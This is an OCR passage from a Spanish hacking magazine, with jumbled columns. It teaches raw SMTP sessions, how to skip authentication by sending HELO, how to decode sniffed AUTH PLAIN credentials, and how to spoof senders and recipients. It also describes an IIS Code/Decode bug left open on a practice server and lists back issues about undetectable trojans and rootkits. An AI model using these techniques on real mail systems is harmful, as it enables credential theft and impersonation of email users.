  • 57. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW te enviará una lista de service extension que sesión sin password, incluso habiendo iniciado puedes utilizar (porque el servidor las tiene la sesión con HELO. Claro que, pensar que implementadas). Conociendo ya las cualquier administrador es lo suficientemente características adicionales que puedes utilizar avispado es pensar mucho, y yo mismo puedo en ese servidor, puedes empezar a enviar los contaros el caso de un servidor SMTP de un mensajes que quieras, utilizando o no esas ISP español (cuyo nombre no voy a dar :-P) c a ra c t e r í s t i c a s s e g ú n t e c o nv e n g a . que requiere autenticación, pero sólo la exige En algunos casos, estas características si se inicia la sesión con EHLO, por lo que adicionales (las service extension) no están basta con que utilices HELO en lugar de EHLO sólo para que las use quien quiera, si no que para utilizar ese servidor gratuitamente. 0:) pueden también ser de uso obligatorio. Un ejemplo típico de esto es el de las service En el caso de que no tengamos que extension de autenticación, que sirven para autenticarnos, bien porque el servidor no tenga exigir un password para poder entrar en la implementada esa service extension (que, por cuenta de correo. cierto, viene documentada en el RFC 2554: Pero como.... ¿¿Qué el usar un password para ftp://ftp.rfc-editor.org/in-notes/rfc2554.txt), o poder enviar e-mails es sólo una característica bien porque sea opcional, todo es mucho más opcional?? Pues, por increíble que parezca, sencillo (y más divertido ;-) no has leído mal: el protocolo SMTP no Así que, si hemos tenido la suerte de dar con exige el uso de ningún password, por lo un servidor SMTP que no exige autenticación, que cualquier servidor SMTP que no tenga podemos pasar directamente al punto 3.4. Si implementada esta service extension permitirá no, tendremos que seguir aquí para ver cómo que cualquiera envíe mensajes desde ese solucionar este paso. servidor, sin necesidad de tener ninguna cuenta. 3.3.1. ¿Cómo sabemos si tenemos que 3.3. ¿Nos autenticamos? (Tampoco es autenticarnos? una errata. Si os suena mal, mirad el diccionario :P) ¿Que cómo sabemos si el servidor requiere autenticación? Sólo lo sabremos si saludamos Si os habéis enterado un poco de que va el con EHLO, pues será entonces cuando el tema (si no, es por mi culpa, ya que no me servidor nos de la lista de service extension habré explicado con claridad), estaréis ahora que tiene implementadas. pensando que una posible forma de saltarse Si en la lista que nos devuelve el servidor tras la autenticación es utilizar el comando HELO el EHLO, se encuentra una línea con la palabra en lugar de EHLO, ya que sería algo así como AUTH: mal rollo. Este servidor tiene decirle al servidor: implementada la service extension de "Mira, me encantaría identificarme con un autenticación. password, pero es que resulta que mi cliente Como ejemplo de esto vamos a ver la respuesta de correo es tan antiguo que no me permite que nos da el servidor de cuentas gratuitas del hacer eso. Así que entro por las buenas, ¿vale? que hablábamos en el número anterior ;-)" (www.hotpop.com): Podemos pensar que cualquier administrador de un servidor SMTP será lo suficientemente 220 smtp-1.hotpop.com ESMTP Postfix avispado como para no permitir esto, así que ehlo bonbon.net lo normal es que cualquier servidor que requiera 250-smtp-1.hotpop.com el uso de autenticación no permita iniciar una 250-PIPELINING PC PASO A PASO Nº 8 Página 57
  • 58. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW 250-SIZE 3000000 3.3.2. Si no hay más remedio, habrá que 250-VRFY autenticarse 250-ETRN 250-AUTH LOGIN PLAIN Si no hay más narices, vamos a ello. 250 8BITMIME Para que pueda realizarse la autenticación, tanto el cliente (nuestro programa de correo Como vemos, una de las service extension que electrónico: Eudora, Outlook, Kmail...) como tiene implementadas es la de autenticación. el servidor (el servidor de correo) tienen que Vamos a intentar enviar un mensaje sin ponerse de acuerdo con qué sistema de autenticarnos. Lo que viene a continuación ya autenticación utilizar. lo veremos explicado en detalle más adelante, Hay muchos sistemas de autenticación, algunos de momento sólo quedaos con la idea de lo más seguros que otros, tal y como especifica que ocurre al intentar enviar un e-mail sin el estándar SASL (Simple Authentication and habernos autenticado: Security Layer). Podéis ver una lista completa de los sistemas de autenticación soportados mail from: macizorra@jotmail.com p o r e l e s t á n d a r e n 250 Ok http://www.iana.org/assignments/sasl- rcpt to: pringaete@buanadu.es mechanisms , así como una especificación 550 <macizorra@jotmail.com>: Sender address de este estándar en el RFC 2222 (ftp://ftp.rfc- rejected: Access Denied: This server editor.org/in-notes/rfc2222.txt). is for HotPOP.com users ONLY, email ¿Cómo se ponen de acuerdo en cual de todos support@HotPOP.com for assistance. estos sistemas utilizar? Pues simplemente el cliente va probando los sistemas que conoce, Como vemos, nos deniega el acceso a esa y sigue probando hasta que alguno le parezca operación (Access Denied), por lo que no hay bien al servidor, ante lo cual responderá con más narices que autenticarse. un código 235, por ejemplo: En realidad este error se ha producido no sólo por no habernos autenticado, si no porque 235 ok, go ahead (#2.0.0) para colmo la dirección del origen del mensaje (macizorra@jotmail.com) ni siquiera Si lo que queremos hacer es realizar una pertenece a una cuenta de este servidor SMTP. conexión SMTP mediante un cliente de Telnet, Si hiciesemos la misma prueba, pero utilizando entonces no tenemos que complicarnos más como origen una cuenta que si que pertenezca la vida aquí, ya que podemos utilizar el sistema a este servidor, la respuesta será diferente: más sencillo de autenticación, que es el PLAIN. Ahora mismo os explicaré como funciona. ;-) mail from: yosoygenial@bonbon.net En cambio, si vuestro objetivo es capturar con 250 Ok un sniffer una sesión SMTP ajena (espero que rcpt to: pringaete@buanadu.es sea por una buena causa :-P), entonces os 550 <pringaete@buanadu.es>: Recipient tocará rezar para que el sistema de autenticación address rejected: Relaying Denied: Authent no sea de los más seguros, porque si no os icate with POP first or contact veréis en serias dificultades para extraer la support@HotPOP.com información que deseáis "tomar prestada" de la captura de vuestro sniffer. Aquí ya vemos como claramente nos dice que tenemos que autenticarnos. Autenticación PLAIN: Página 58 PC PASO A PASO Nº 8
  • 59. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW Tenemos una pequeña aplicación que nos va su password. ;-)))) a solucionar todos los problemas que podamos tener con la autenticación, y se encuentra en: Codificando en base64: http://www.fourmilab.ch/webtools/ba se64/. Esta sencilla aplicación, que está Si, en cambio, lo que queremos es realizar disponible tanto en ejecutable para Win32 como nuestra propia sesión SMTP a pelo utilizando en código fuente para cualquier otro sistema un cliente de Telnet, lo que necesitaremos es operativo (vaaaale... aceptamos Win32 como precisamente lo contrario. Conocemos el nombre sistema operativoooo...), nos sirve para codificar de usuario y el password, y lo que necesitamos y decodificar cualquier texto con el sistema de ahora es codificarlo para poder enviarlo al codificación base64, que es el que se utiliza servidor SMTP. Para ello, creamos un archivo para la autenticación. de texto que contenga el nombre de usuario Vamos a ver rápidamente su uso: seguido del password, separados por un espacio, por ejemplo (recordemos el artículo de POP3, Decodificando en base64: en el número anterior de la revista): yosoygenial pedo67 Si tenemos una captura de una sesión SMTP Y a este archivo lo llamamos password.txt. realizada con un sniffer (os recuerdo que en El procedimiento ahora es el mismo, pero lo www.hackxcrack.com os podéis bajar la que tenemos que ejecutar es lo siguiente: última versión del sniffer IRIS, cuyo manejo base64 -e password.txt explicamos en el número anterior), nos Nos devolverá el texto codificado tal y como interesará decodificar el texto que envió el se lo tenemos que enviar al servidor. cliente de correo que contenía el password Suponiendo que el texto codificado es este: codificado. Para ello, creamos un archivo de IHlvc295Z2VuaWFsIHBlZG82Nw== texto con el password codificado que hemos Entonces sólo tenemos que escribir esto en capturado, al cual llamaremos password.txt. nuestro cliente de telnet: A continuación, hacemos lo siguiente, según el sistema que utilicemos: AUTH PLAIN IHlvc295Z2VuaWFsIHBlZG82Nw== - En Windows: menú Inicio -> Ejecutar -> command.com Y... hop! Estamos dentro :-) Se nos abrirá una ventana Ms-Dos. Vamos al directorio en el que tenemos la 3.3.3. Repasemos... aplicación que nos hemos bajado para base64. En ese directorio escribimos: El resumen de todo este barullo es el siguiente: base64 -d password.txt - En Linux/Unix: 1- Saludamos con EHLO: Desde una consola (shell), vamos al directorio EHLO bonbon.net donde tenemos la aplicación que nos hemos 2- Si el servidor requiere autenticación, en la bajado para base64, y desde ese directorio respuesta al saludo habrá una línea que escribimos: contendrá la palabra AUTH. base64 -d password.txt 3- Si tenemos que autenticarnos, codificaremos el usuario y el password con la aplicación de En ambos casos, lo que nos devolverá el base64, y escribimos al servidor: programa será el resultado de decodificar el AUTH PLAIN <el chorizo que nos haya texto en base64. Si todo ha salido bien, nos salido al codificar el usuario y el devolverá un nombre de usuario seguido de password> PC PASO A PASO Nº 8 Página 59
  • 60. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW 3.4. Al fin estamos dentro y empezamos RCPT TO: pringaete@buanadu.es a redactar el dichoso mail Tras enviar este comando, pueden ocurrir 2 cosas: Se acabaron todos los preliminares para entrar - Si no se siguieron bien los pasos anteriores en la cuenta. A partir de aquí todo será mucho para entrar en la cuenta, lo más probable es más sencillo, y acabaremos en unos minutejos que el servidor nos responda diciendo que no :-) (porque no pienso entrar en detalle en el admite RELAY, es decir, que sólo quiere que formato de las cabeceras, ni en el envío de lo utilicen los usuarios registrados. En ese attachments, que si no ocupo ya toda la caso... ajo y agua :-( revista :-P). - Si, en cambio, nos responde con un 250 Ok La redacción de un mensaje es realmente Entonces una de dos: o seguimos bien los sencilla. Sólo hay 3 pasos, tal y como iremos pasos anteriores para entrar en la cuenta, o viendo. hemos tenido la increible coña de dar con un El primero de todos consiste en decirle al servidor que admite RELAY y eso, hoy día, es servidor, mediante un simple comando (MAIL un chollo. FROM), quién es el emisor del mensaje. En realidad, esto es una patraña, ya que puedes ¿Y por qué digo "hoy día"? Pues porque la era poner aquí cualquier dirección que se te ocurra, dorada del SMTP ya pasó. :'-( aunque ni siquiera exista. ¡Pero realmente hubo una era dorada! Hace Esto en teoría se usa más que nada para que, unos años, la inmensa mayoría de servidores en caso de cualquier problema, el servidor sepa SMTP no implementaban sistemas de a qué dirección tiene que devolver el mensaje. autenticación, por lo que cualquiera podía En el caso de nuestra querida Macizorra, a la utilizarlos para enviar mensajes a diestro y cual teníamos ya casi olvidada, esto será lo siniestro, con la increible libertad no sólo de que podría enviar en este punto su cliente de utilizar el servidor sin ser un usuario registrado, correo: si no además... ¡de poder enviar mensajes en M A I L F R O M : ma c i z o r ra @ j o t m a i l . c o m nombre de cualquiera! Si, eso es, mensajes en Claro que también es probable que su cliente, los que la dirección de origen podía ser en lugar de esto, deje este comando en blanco, spoofeada o incluso estar en blanco. es decir: Por suerte o por desgracia, esta increíble MAIL FROM: inseguridad que antes estaba generalizada ¿Y esto para qué? Tal y como se explica en el ahora es rara de encontrar, debido sobre todo RFC, el dejar en blanco este parámetro sirve a los odiados spammers, que aprovechaban para evitar posibles problemas de bucles estas vulnerabilidades para sus aviesos fines. infinitos, ya que podría darse el caso de que un mensaje de devolución a su vez tuviese que 3.6. Por último, el mensaje en sí :-) ser devuelto, por lo que se podría armar un buen jaleo. ¡El último paso! Ya solo falta enviar el mensaje en si. 3.5. Seguimos, con el destinatario del Pero... ¿entonces dónde va el subject y todas mensaje esas cosas? Pues todo eso va incluido en el propio mensaje, y es lo que constituye la A continuación, le decimos al servidor cuál es cabecera del mismo. el receptor del mensaje. En el caso de Macizorra Por tanto, un mensaje se compone de una será esto lo que enviará al servidor: cabecera y un cuerpo, que es donde va el Página 60 PC PASO A PASO Nº 8
  • 61. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW mensaje en si tal y como nosotros lo leemos. 3.6.2. Cuerpo del mensaje Para empezar a escribir el mensaje, tanto la cabecera como el cuerpo, simplemente tenemos Después de la cabecera, normalmente que escribir el comando: tendremos que dejar una línea en blanco para DATA que lo que viene a continuación no se interprete Ante lo cual nos responderá el servidor con como parte de la cabecera. un código 354: En el cuerpo del mensaje irá no sólo el texto, 354 go ahead si no también los attachments (archivos adjuntos), los cuales irán codificados mediante 3.6.1. Cabecera del mensaje algún sistema que se especificará en la cabecera. No podemos meternos con el tema de los No voy a entrar en detalles sobre todos los attachments, ya que nos iríamos demasiado campos de las cabeceras, así que resumo sólo por las ramas (¿quizá en algún otro artículo? los más importantes: :-m). From: Lo siento, Pringa, pero ya estoy saliendo con Esta es la dirección de origen del mensaje. Musculitos. Es una pena, porque si no fuese Probad a poner una dirección que no sea la por el... vuestra, a ver que pasa ]:-) From: macizorra@jotmail.com Fdo: Macizorra Seguid leyendo, seguid... que más tarde os explicaré algo interesante sobre esto. ;-) 3.6.3. Fin de mensaje To: Para terminar el mensaje, basta con dejar una línea en la que tan sólo haya un punto, seguido Dirección de destino del mensaje. ¡Esta no de un Intro. es la dirección a la que llegará el mensaje, si . no la dirección que aparecerá en el cliente de Ante esto, el servidor responderá con un código correo del que lo lea! Es decir, donde se 250: especifica la dirección de destino no es aquí, 250 Ok si no cuando se ejecutó el comando RCPT TO. Por tanto, modificando este campo puedes 3.7. ¿Y si algo hubiese salido mal? conseguir el misterioso efecto de enviar un email a un amigo y que, cuando este lo abra, Al igual que en POP3, el protocolo SMTP permite la dirección de destino que el vea no sea la hacer un "Undo", es decir, anular el e-mail que suya, si no la de cualquier otro. De nuevo, os se ha redactado para empezar de cero antes aconsejo que sigais leyendo, porque en nuestra de que sea enviado. El nombre del comando historieta veremos también un ejemplo práctico es exactamente el mismo que en POP3, así de esto ;-) como su funcionamiento: To: pringaete@buanadu.es RSET Subject: 3.8. ¡Se acabó! Pues eso, el subject o asunto del mensaje Una vez terminado el proceso de redacción del :-P mensaje, ya sólo falta salir del servidor y, de Subject: Ajo y Agua nuevo, lo haremos con el mismo comando que PC PASO A PASO Nº 8 Página 61
  • 62. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW en POP3: RCPT TO: pringaete@buanadu.es QUIT 250 ok 4. Resumen de todo lo visto: EL MENSAJE DE MACIZORRA A DATA PRINGAETE 354 go ahead Vamos a ver de un tirón toda la sesión SMTP que estableció el cliente de Macizorra con el From: macizorra@jotmail.com servidor de Jotmail, para lo cual, antes de To: pringaete@buanadu.es nada, recordamos cual era el e-mail que quería Subject: Ajo y Agua enviar: Lo siento, Pringa, pero ya estoy saliendo con From: macizorra@jotmail.com Musculitos. Es una pena, porque si no fuese por To: pringaete@buanadu.es el... Subject: Ajo y Agua Fdo: Macizorra Lo siento, Pringa, pero ya estoy saliendo con Musculitos. Es una pena, porque si no fuese por . el... 250 Ok Fdo: Macizorra QUIT Y esta es la sesión, tal y como hemos ido viendo paso por paso: 221 smtp03.jotmail.com 220 smtp03.jotmail.com ESMTP 4.1. Y ahora, los deberes EHLO jotmail.com Os dejo como ejercicio una pregunta: ¿Cuál es el password de la cuenta de correo de 250-smtp03.jotmail.com Macizorra? Si habéis comprendido bien lo que 250-PIPELINING he explicado sobre la autenticación, tenéis que 250-SIZE 3000000 ser capaces de extraer esa información a partir 250-VRFY de la captura de la sesión SMTP que os acabo 250-ETRN de copiar. ;-) 250-AUTH LOGIN PLAIN 250 8BITMIME 5. Pringaete contraataca AUTH PLAIN IG1hY2lab3JyYSB0b3lidWVuYQ== Nuestro amigo Pringaete es un tipo duro, y ante los problemas no se pone a llorar y patalear, 235 ok, go ahead (#2.0.0) si no que busca soluciones. Además, es un hombre sin escrúpulos, por lo que no se va a MAIL FROM: cortar un pelo a la hora de contraatacar. Y es que resulta que Pringaete es un asiduo lector 250 ok de los cuadernos de HackXCrack y, más Página 62 PC PASO A PASO Nº 8
  • 63. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW concretamente, de la serie RAW, por lo que 250 ok el chaval controla de protocolos. ;-) El listo de Pringaete se las ha apañado con un RCPT TO: macizorra@jotmail.com mínimo esfuerzo de ingeniería social para conseguir la dirección de correo de Musculitos, 250 ok que es: muscleman@requetevision.net DATA Así que se le ocurre enviar este mensaje a Macizorra: 354 go ahead F ro m : m u s c l e m a n @ re q u e t e v i s i o n . n e t From: muscleman@requetevision.net To: macizorra@jotmail.com To: macizorra@jotmail.com Subject: Fue bonito mientras duró Subject: Ajo y Agua Lo siento, Maci, pero he descubierto que no me van Lo siento, Maci, pero he descubierto que no me van las mujeres, así que lo nuestro se terminó. Un besito. las mujeres, así que lo nuestro se terminó. Un besito. Fdo: Musculitos Fdo: Musculitos Pero... ¿Cómo va a enviar Pringaete un e-mail . en nombre de Musculitos? ¿Necesitará robarle su cuenta de correo? ¡Pues no! Es mucho más 250 Ok sencillo que eso. Lo único que tiene que hacer nuestro audaz QUIT protagonista es modificar el campo FROM de la cabecera del mensaje. :-) 221 smtp.buanadu.es Vamos a ver entonces cómo quedaría la sesión SMTP de Pringaete para enviar este mensaje 5.1. Más deberes spoofeado (es decir, con una dirección de origen falsa): Pues estamos con lo mismo... ¿cuál es ahora el password de la cuenta de correo de 220 smtp.buanadu.es ESMTP Pringaete? ;-) EHLO buanadu.es 6. La gran paliza 250-smtp.buanadu.es Como yo de machista no tengo ni un pelo, no 250-PIPELINING creáis que os voy a hacer creer que nuestra 250-AUTH LOGIN PLAIN amiga Macizorra por estar buena tiene que 250 8BITMIME ser tonta, si no precisamente todo lo contrario. :-) A U T H P L A I N Resulta que, casualmente, Macizorra es también IHByaW5nYWV0ZSBzb3lmcmVhaw== una asidua lectora de la serie RAW, por lo que siguió mi consejo, en el artículo anterior, 235 ok, go ahead (#2.0.0) de configurar su cliente de correo para ver las cabeceras completas. Así que, ya que nuestra MAIL FROM: amiga jamás dudó de la virilidad de su amado PC PASO A PASO Nº 8 Página 63
  • 64. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW Musculitos, en cuanto leyó ese mensaje quedó era él, si no un tal un poco mosca, por lo que decidió revisar "soyhombremuerto@funeral.net", detenidamente la cabecera. y en cambio ese mensaje le había llegado ¿Y qué fue lo que descubrió? Pues que en la mágicamente a su cuenta de cabecera del mensaje había, entre otras, "pringaete@buanadu.es". Eso sólo esta línea: podía significar una cosa: Musculitos también Received: from 217-124-12-15.buanadu.es es un asiduo lector de la serie RAW y conoce (HELO buanadu.es) (pringaete@217.124.12.15 los oscuros misterios del protocolo SMTP. with plain) (glups...) Vaya, vaya... pero si 217.124.12.15 es Y, ¿cómo ha conseguido Musculitos que precisamente la IP de Pringaete... y no solo reciba Pringaete un e-mail supuestamente eso, si no que hasta son tan amables de no destinado a su cuenta? Pues, simplemente, decirnos que el usuario que envió ese e-mail cambiando el campo TO de la cabecera no fue muscleman, si no pringaete... del mensaje. Por no poneros toda la sesión, Y ahora probablemente os estaréis os pongo sólo lo que habría a partir del preguntando: ¿Cómo puede ser que ponga MAIL FROM: eso en la cabecera, si Pringaete no escribió nada parecido en la cabecera cuando redacto MAIL FROM: el mensaje? Pues resulta que la cabecera que llega a 250 Ok Macizorra no es sólo la que escribió Pringaete a la hora de redactar el e-mail, si no que a RCPT TO: pringaete@buanadu.es ésta se suman varias líneas generadas por el propio servidor de correo, o incluso por 250 Ok los posibles servidores intermedios (¿os acordáis de los relays y los gateways?) por los que pasó DATA el mensaje. 354 go ahead Así que, al día siguiente, Pringaete abre su correo ansiosamente, esperando recibir alguna F r o m : m u s c l e m a n @ re q u e t e v i s i o n . n e t declaración de amor de una supuestamente To: soyhombremuerto@funeral.net decepcionada Macizorra, cuando recibe lo Subject: la cagaste, majo siguiente: Se te ha visto el plumero. Vas a ver como te dejo la F r o m : m u s c l e m a n @ re q u e t e v i s i o n . n e t cara. :-) To: soyhombremuerto@funeral.net Subject: la cagaste, majo Fdo: Musculitos Se te ha visto el plumero. Vas a ver como te dejo . la cara. :-) 250 Ok Fdo: Musculitos QUIT Pringaete quedó bastante estupefacto, no sólo por la terrible amenaza, si no también por el 221 smtp014.requetevision.net hecho de que el destinatario del mensaje no Página 64 PC PASO A PASO Nº 8
  • 65. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW 6.1. Para terminar, los deberes PERSONALIZATUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUTUMOVIL PERSONALIZATUMOVIL PERSONALIZATU TUMOVIL PERSONALIZATUTUMOVIL MOVIL PERSONALIZATU MOVILMOVIL TUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUMOVIL PERSONALIZATUTUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUMOVIL MOVIL MOVIL MOVIL MOVIL MOVIL PERSONALIZA TUMOVIL MOVIL MOVIL MOVIL MOVIL PERSONALIZA TU MOVIL MOVIL Pues esta vez no puedo pediros que saquéis PERSONALIZA PERSONALIZA MOVIL PERSONALIZATU MOVIL PERSONALIZA TUMOVIL MOVIL PERSONALIZA TUMOVIL PERSONALIZATU MOVIL MOVIL PERSONALIZA TUMOVIL MOVIL el password de la cuenta de correo de Musculitos, ya que no he copiado la sesión completa, así que lo único que puedo poneros como deberes es que tratéis de reconstruir la cara del pobre Pringaete. ;-) Autor: PyC (LCo) Ilustraciones: MariAn (LCo) HAY MUCHOS MAS EN http://pclog.buscalogos.com/ ¿QUIERES COLABORAR CON PC PASO A PASO? PC PASO A PASO busca personas que posean conocimientos de informática y deseen publicar sus trabajos. SABEMOS que muchas personas (quizás tu eres una de ellas) han creado t ex t o s y c u r s o s p a r a “ c o n s u m o p r o p i o ” o “ d e u n o s p o c o s ” . SABEMOS que muchas personas tienen inquietudes periodísticas pero nunca se han atrevido a presentar sus trabajos a una editorial. SABEMOS que hay verdaderas “obras de arte” creadas por personas como tu o yo y que nunca verán la luz. PC PASO A PASO desea contactar contigo! NOSOTROS PODEMOS PUBLICAR TU OBRA!!! SI DESEAS MÁS INFORMACIÓN, envíanos un mail a empleo@editotrans.com y te responderemos concretando nuestra oferta. También necesitamos urgentemente alguien que se ocupe de la publicidad y de la web de esta editorial, para más información envíanos un mail a empleo@editotrans.com PC PASO A PASO Nº 8 Página 65
  • 66. SERVIDOR DE HXC MODO DE EMPLEO - Hack x Crack ha habilitado un servidor para que puedas A partir de ese momento, cualquiera que acceda a ese realizar las prácticas de hacking. servidor, verá el default.htm modificado para vergüenza del “site” hacheado. Esto es muy genérico pero os dará - Actualmente tiene el BUG del Code / Decode y lo una idea de cómo funciona esto de hackear Webs ;) dejaremos así por un tiempo (bastante tiempo ;) Nuestra intención es ir habilitando servidores a medida que os - Cuando accedas a nuestro servidor mediante el CODE / enseñemos distintos tipos de Hack, pero por el momento DECODE BUG, crea un directorio con tu nombre (el que con un Servidor tendremos que ir tirando (la economía no mas te guste, no nos des tu DNI) en la unidad d: a ser da para mas). posible (que tiene mas espacio libre) y a partir de ahora - En el Servidor corre un Windows 2000 Advanced Server utiliza ese directorio para hacer tus prácticas. Ya sabes, con el IIS de Servidor Web y está en la IP 80.36.230.235. subirnos programitas y practicar con ellos :) - El Servidor tiene tres unidades: Puedes crearte tu directorio donde quieras, no es necesario * La unidad c: --> Con 2GB que sea en d:mellamojuan. Tienes total libertad!!! Una * La unidad d: --> Con 35GB y Raíz del Sistema idea es crearlo, por ejemplo, en * La unidad e: --> CD-ROM d:winntsystem32defaultmellamojuan (ya irás aprendiendo que cuanto mas oculto mejor :) Nota: Raíz del Servidor, significa que el Windows Advanced Server está instalado en esa unidad (la unidad d:) y Es posiblemente la primera vez que tienes la oportunidad concretamente en el directorio por defecto winnt de investigar en un servidor como este sin cometer un Por lo tanto, la raíz del sistema está en d:winnt delito (nosotros te dejamos y por lo tanto nadie te perseguirá). Aprovecha la oportunidad!!! e investiga mientras - El IIS, Internet Information Server, es el Servidor de dure esta iniciativa (que esperamos dure largos años) páginas Web y tiene su raíz en d:inetpub (el directorio por defecto) - En este momento tenemos mas de 600 carpetas de peña que, como tu, está practicando. Así que haznos caso y Nota: Para quien nunca ha tenido instalado el IIS, le será crea tu propia carpeta donde trabajar. extraño tanto el nombre de esta carpeta (d:inetpub) cómo su contenido. Pero bueno, un día de estos os enseñaremos a instalar vuestro propio Servidor Web y detallaremos su funcionamiento. De momento, lo único que hay que saber es que cuando TÚ pongas nuestra IP (la IP de nuestro servidor) en tu navegador, lo que estás haciendo realmente es ir al ! MUY IMPORTANTE... directorio d:Inetpubwwwroot y leer un archivo llamado default.htm. Nota: Como curiosidad, te diremos que APACHE es otro MUY IMPORTANTE!!!!! Por favor, no borres archivos Servidor de páginas Web (seguro que has oído hablar de él). Si tuviésemos instalado el apache, cuando pusieses del Servidor si no sabes exactamente lo que estás haciendo ni nuestra IP en TU navegador, accederías a un directorio borres las carpetas de los demás usuarios. Si haces eso, lo único raíz del Apache (donde se hubiese instalado) e intentarías leer una página llamada index.html que consigues es que tengamos que reparar el sistema servidor y, mientras tanto, ni tu ni nadie puede disfrutar de él :( Explicamos esto porque la mayoría, seguro que piensa en un Servidor Web como en algo extraño que no saben ni Es una tontería intentar “romper” el Servidor, lo hemos puesto donde está ni como se accede. Bueno, pues ya sabes para que disfrute todo el mundo sin correr riesgos, para que todo dónde se encuentran la mayoría de IIS (en Inetpub) y cuál es la página por defecto el mundo pueda crearse su carpeta y practicar nuestros ejercicios. (Inetpubwwwrootdefault.htm). Y ahora, piensa un poco… En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada … ¿Cuál es uno de los objetivos de un hacker que quiere decirle al mundo que ha hackeado una Web? Pues está de nada que “robar”, es un servidor limpio para TI, por lo tanto claro, el objetivo es cambiar (o sustituir) el archivo default.html por uno propio donde diga “hola, soy DIOS cuídalo un poquito y montaremos muchos más :) y he hackeado esta Web” (eso si es un lamer ;) Página 66 PC PASO A PASO Nº 8
  • 67. NÚMERO1: -CREA TU PRIMER TROYANO INDETECTABLE POR LOS ANTIVIRUS. -FLASHFXP: SIN LÍMITE DE VELOCIDAD. -FTP SIN SECRETOS: PASVMODE. -PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO. -TCP-IP:INICIACIÓN (PARTE 1). -EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA. -EDONKEY 2000 Y SPANISHARE. -LA FLECHA ÁCIDA. NÚMERO 2: -CODE/DECODE BUG: INTRODUCCIÓN. -CODE/DECODE BUG: LOCALIZACIÓN DEL OBJETIVO. -CODE/DECODE BUG: LÍNEA DE COMANDOS. -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO. -OCULTACIÓN DE IP: PRIMEROS PASOS. -LA FLECHA ÁCIDA: LA SS DIGITAL. AZNAR AL FRENTE DE LA SS DEL SIGLO XXI. NÚMERO 3: -PROXY: OCULTANDO NUESTRA IP. ASUMIENDO CONCEPTOS. -PROXY: OCULTANDO NUESTRA IP. ENCADENANDO PROXIES. -PROXY: OCULTANDO NUESTRA IP. OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS CADENAS DE PROXIES. -EL SERVIDOR DE HACKXCRACK CONFIGURACIÓN Y MODO DE EMPLEO. -SALA DE PRACTICAS: EXPLICACIÓN. -PRÁCTICA 1ª: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR. -PRÁCTICA 2ª: MONTANDO UN DUMP CON EL SERV-U. PRÁCTICA 3ª: CODE/DECODE BUG. LÍNEA DE COMANDOS. NÚMERO 4: -CREA TU SEGUNDO TROYANO, INDETECTABLE E INMUNE A LOS ANTIVIRUS. CONOCIENDO EL RADMIN. GESTIONANDO UNA SALA DE ORDENADORES. OCULTANDO EL RADMIN. INSTALANDO EL RADMIN EN EQUIPOS REMOTOS. -OCULTACIÓN DE IP POR NOMBRE DE DOMINIO. -CREA LETRAS DE IMPACTO PARA TUS DOCUMENTOS (LETRAS DE FUEGO). - CONSIGUE UNA IP FIJA.
  • 68. NÚMERO 5: -HACK-OPINION: LA PIRATERÍA EN INTERNET. -ROOTKITS: LA PESADILLA DE CUALQUIER ADMINISTRADOR. -ROOTKITS: EL SR. NTROOT. -WAREZ: APPZ, GAMEZ, MP3Z, DIVX, FTPZ, 0-DAY. -APRENDIENDO A COMPILAR PROGRAMAS. COMPILA TU PROPIO NETCAT. -BUGS, ERRORES Y OTRAS FORMA DE JOD... -NETBIOS: ESTUDIO Y PENETRACIÓN DE SISTEMAS. -ASESINADOS POR LA LSSI. -LISTADO DE ORDENES PARA NETBIOS. -HACK-OPINION: PAGOS POR INTERNET SEGUROS YÁ. NÚMERO 6: - PASA TUS PELICULAS A DIVX (STREAMING) - PASA TUS PELICULAS A DIVX II (CODEC DIVX) - PUERTOS & SERVICIOS - eMule: EL NUEVO REY DEL P2P - NUEVA SECCION: PROGRAMACION DESDE 0 - CURSO DE VISUAL BASIC -IPHXC: EL TERCER TROYANO DE HXC - TENDENCIAS ACTUALES EN CODIGO MALICIOSO - OCULTACION DE FICHEROS. METODO STREAM (ads) - TRASTEANDO CON EL HARDWARE DE UNA LAN NÚMERO 7: - PROTOCOLOS: POP3 - PASA TUS PELICULAS A DIVX III (EL AUDIO) - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO) - CURSO DE VISUAL BASIC: LA CALCULADORA -IPHXC: EL TERCER TROYANO DE HXC II - APACHE: UN SERVIDOR WEB EN NUESTRO PC - CCPROXY: IV TROYANO DE PC PASO A PASO - TRASTEANDO CON EL HARDWARE DE UNA LAN